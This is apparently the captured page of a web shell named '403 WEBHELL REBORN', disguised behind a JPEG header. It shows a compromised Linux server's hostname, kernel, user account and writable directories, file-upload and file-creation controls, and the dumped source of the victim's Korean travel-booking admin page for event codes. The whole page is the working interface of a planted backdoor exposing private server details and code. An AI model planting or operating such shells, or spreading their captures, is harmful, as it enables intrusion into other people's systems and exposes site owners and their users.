ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/setting/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/setting/pca_event_code_setting.html
<?
	include "../include/top.html";
	include "_common.php";
?>

<div class="contents_wrap">
    <div class="contents_wrap_in">
		<div class="title">기초코드설정<span class="arrow">&gt;</span><strong>이벤트 코드</strong></div>
		<div class="contents_detail">
			<div class="setting_wrap mt30">
				<ul class="hotel_code">
					<li>
						<!-- 폼 -->
						<form name="frm_write_event_group" id="frm_write_event_group" method="post">
							<input type="hidden" name="process_mode" value="event_group_code_insert">
							<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_s_register">
								<caption>기초코드 관리</caption>
								<tbody>
									<tr>
										<th scope="row"><label for="CdName">이벤트 그룹명</label></th>
										<td><input name="event_group_name" id="event_group_name" type="text" size="30" class="input_text" tabIndex="10" onKeyDown="if(event.keyCode==13){Code.focus();}" required /></td>
									</tr>
									<tr>
										<th scope="row"><label for="Code">코드(1자리)</label></th>
										<td><input name="event_group_code" id="event_group_code" type="text" size="12" class="input_text" value="" tabIndex="11" maxlength="4" style="text-align:center;ime-mode:disabled;text-transform:uppercase;" onChange="javascript:this.value=this.value.toUpperCase();" onKeyDown="if(event.keyCode==13){event_group_code_insert();}" required />
										<input type="button" class="Table_btn gray" value="등록" tabIndex="12" onClick="event_group_code_insert();" /></td>
									</tr>
								</tbody>
							</table>
						</form>
						<!-- /폼 -->
						<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_list" style="margin-top: 30px;">
							<colgroup>
								<col style=" width:40px" />
								<col style=" width:300px" />
								<col style=" width:40px" />
							</colgroup>
							<thead>
								<tr>
									<th scope="col">그룹코드</th>
									<th scope="col">그룹명</th>
									<th scope="col">분류수</th>
								</tr>
							</thead>
							<tbody>

<?
	$query = " select *, (select count(*) from TB_PCA_ALIM_EVENT where t1.code = group_code) as event_count from TB_PCA_ALIM_EVENT_GROUP as t1 order by t1.code ";
	$rs = db_query($query);
	while ($row = db_fetch_array($rs)) {
?>

								<tr>
									<td><?=$row['code']?></td>
									<td class="t_title"><a href="javascript:;" onClick="ajax_loader('pca_event_code_setting_ajax.php?event_group_code=<?=$row['code']?>', 'event_code_list_ajax');"><?=$row['name']?></a></td>
									<td><?=$row['event_count']?></td>
								</tr>

<?
	}
?>

							</tbody>
						</table>
					</li>
			        <li class="last">
						<span id="event_code_list_ajax"><div style="both:clean;width:100%;text-align:center;margin-top:50px;font-weight:bold;">:: 코드를 선택해 주세요. ::</div></span>
			        </li>
		        </ul>
			</div>
		</div>
	</div>
</div>

<script language="javascript">
	function event_group_code_insert() {
		var f = document.frm_write_event_group;

		var result = to_validation(f);
		if (result==false) return false;

		ajax_post("ajax_proc", "pca_event_code_setting_proc.php", "frm_write_event_group");
	}
</script>

<? include "../include/footer.html" ?>

Anon7 - 2021